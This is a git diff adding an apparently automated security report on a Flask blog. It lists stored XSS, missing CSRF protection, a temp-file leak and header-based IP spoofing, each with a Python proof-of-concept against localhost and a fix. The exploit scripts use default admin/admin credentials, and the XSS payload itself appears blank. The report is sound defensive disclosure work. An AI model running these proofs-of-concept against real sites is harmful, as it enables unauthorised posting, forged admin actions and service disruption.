diff --git a/ai/security_report_2026-03-09_blog-eletrix-fr.md b/ai/security_report_2026-03-09_blog-eletrix-fr.md new file mode 100644 index 0000000..4d4e79a --- /dev/null +++ b/ai/security_report_2026-03-09_blog-eletrix-fr.md @@ -0,0 +1,150 @@ +==== + +Auto Security Analysis of blog-eletrix-fr at 2026-03-09 +CRITICAL - Stored XSS in Blog Posts +The application uses the `|safe` filter in `post.html` and renders Markdown using `markdown2.markdown` without sanitization. An attacker with access to create posts can inject malicious scripts that will execute in the browser of anyone viewing the post. + +PoC +```python +import urllib.request +import urllib.parse +import http.cookiejar + +# Setup cookie jar to maintain session +cj = http.cookiejar.CookieJar() +opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj)) + +# Login as admin +login_url = "http://127.0.0.1:5000/login" +login_data = urllib.parse.urlencode({'username': 'admin', 'password': 'admin'}).encode('utf-8') +opener.open(login_url, login_data) + +# Create Post with malicious XSS payload +create_post_url = "http://127.0.0.1:5000/create_post" +post_data = urllib.parse.urlencode({ + 'title': 'XSS_Test', + 'author': 'hacker', + 'tags': 'xss', + 'content': ' **Markdown bold**' +}).encode('utf-8') +opener.open(create_post_url, post_data) + +# The payload will now execute whenever a user visits /post/XSS_Test +``` + +Fix +Sanitize the Markdown content before rendering or remove the `|safe` filter. Use a library like `bleach` to clean the HTML output from `markdown2` after rendering but before passing it to the template. + +==== + +==== + +Auto Security Analysis of blog-eletrix-fr at 2026-03-09 +MEDIUM - Lack of CSRF Protection +The application lacks CSRF protection on critical state-changing routes such as `/login`, `/create_post`, and `/upload`. An attacker can trick a logged-in administrator into performing actions without their consent by making them visit a malicious webpage that submits a form to the blog. + +PoC +```python +import urllib.request +import urllib.parse + +# This script simulates a request that an attacker's site might trigger. +# The vulnerability is that the server does not check for a unique, non-guessable token (CSRF token). +url = "http://127.0.0.1:5000/create_post" +data = urllib.parse.urlencode({ + 'title': 'CSRF_Post', + 'author': 'attacker', + 'tags': 'csrf', + 'content': 'This post was created via CSRF.' +}).encode('utf-8') + +# A browser with an active admin session would automatically include cookies. +# The lack of a required CSRF token in the POST data makes this possible. +req = urllib.request.Request(url, data=data, method='POST') +# In a real attack, this would be executed via a hidden form in the user's browser. +print("CSRF PoC request prepared. Endpoint lacks token validation.") +``` + +Fix +Implement CSRF protection using a library like `Flask-WTF` which provides a `CSRFProtect` extension, or manually add and verify CSRF tokens for all state-changing (POST, PUT, DELETE) requests. + +==== + +==== + +Auto Security Analysis of blog-eletrix-fr at 2026-03-09 +LOW - Denial of Service via Temporary File Leakage +In the `/upload` route, if an uploaded file is not a valid image, the `utils.add_watermark` function (which uses Pillow) will raise an exception. The temporary file saved in `./temp_uploads/` is not deleted when this exception occurs, leading to gradual disk space exhaustion. + +PoC +```python +import urllib.request +import urllib.parse +import http.cookiejar + +# Setup cookie jar +cj = http.cookiejar.CookieJar() +opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj)) + +# Login +login_url = "http://127.0.0.1:5000/login" +login_data = urllib.parse.urlencode({'username': 'admin', 'password': 'admin'}).encode('utf-8') +opener.open(login_url, login_data) + +# Upload non-image file (triggers 500 error and leaves file in temp_uploads/) +upload_url = "http://127.0.0.1:5000/upload/" +boundary = '----WebKitFormBoundary7MA4YWxkTrZu0gW' +data = [ + f'--{boundary}', + 'Content-Disposition: form-data; name="file"; filename="test.txt"', + 'Content-Type: text/plain', + '', + 'This is a test file that is not an image.', + f'--{boundary}--', + '' +] +body = '\r\n'.join(data).encode('utf-8') +request = urllib.request.Request(upload_url, data=body) +request.add_header('Content-Type', f'multipart/form-data; boundary={boundary}') + +try: + opener.open(request) +except urllib.error.HTTPError as e: + print(f"Upload failed with status {e.code} (Expected). File leaked in temp_uploads/.") +``` + +Fix +Use a `try...finally` block in `routes/upload.py` to ensure that the temporary file is always deleted, regardless of whether the processing succeeds or fails. + +==== + +==== + +Auto Security Analysis of blog-eletrix-fr at 2026-03-09 +LOW - IP Spoofing via 'CF-Real-IP' Header +The application trusts the `CF-Real-IP` header to determine the user's IP address in the `inject_variables` context processor. If the application is not correctly configured behind a trusted Cloudflare proxy, an attacker can spoof their IP address by providing this header. + +PoC +```python +import urllib.request + +url = "http://127.0.0.1:5000/" +# Spoof the IP address via the CF-Real-IP header +req = urllib.request.Request(url, headers={'CF-Real-IP': '8.8.8.8'}) +response = urllib.request.urlopen(req) +# If the application uses user_ip in the page, it would show 8.8.8.8 +print("IP Spoofing request sent with CF-Real-IP: 8.8.8.8") +``` + +Fix +Only trust `CF-Real-IP` (or `X-Forwarded-For`) if the request is known to come from a trusted proxy's IP range. Alternatively, use `request.remote_addr` if the application is not intended to be behind such a proxy. + +==== + +Summary: +| Severity | Vulnerability Name | +| :--- | :--- | +| CRITICAL | Stored XSS in Blog Posts | +| MEDIUM | Lack of CSRF Protection | +| LOW | Denial of Service via Temporary File Leakage | +| LOW | IP Spoofing via 'CF-Real-IP' Header |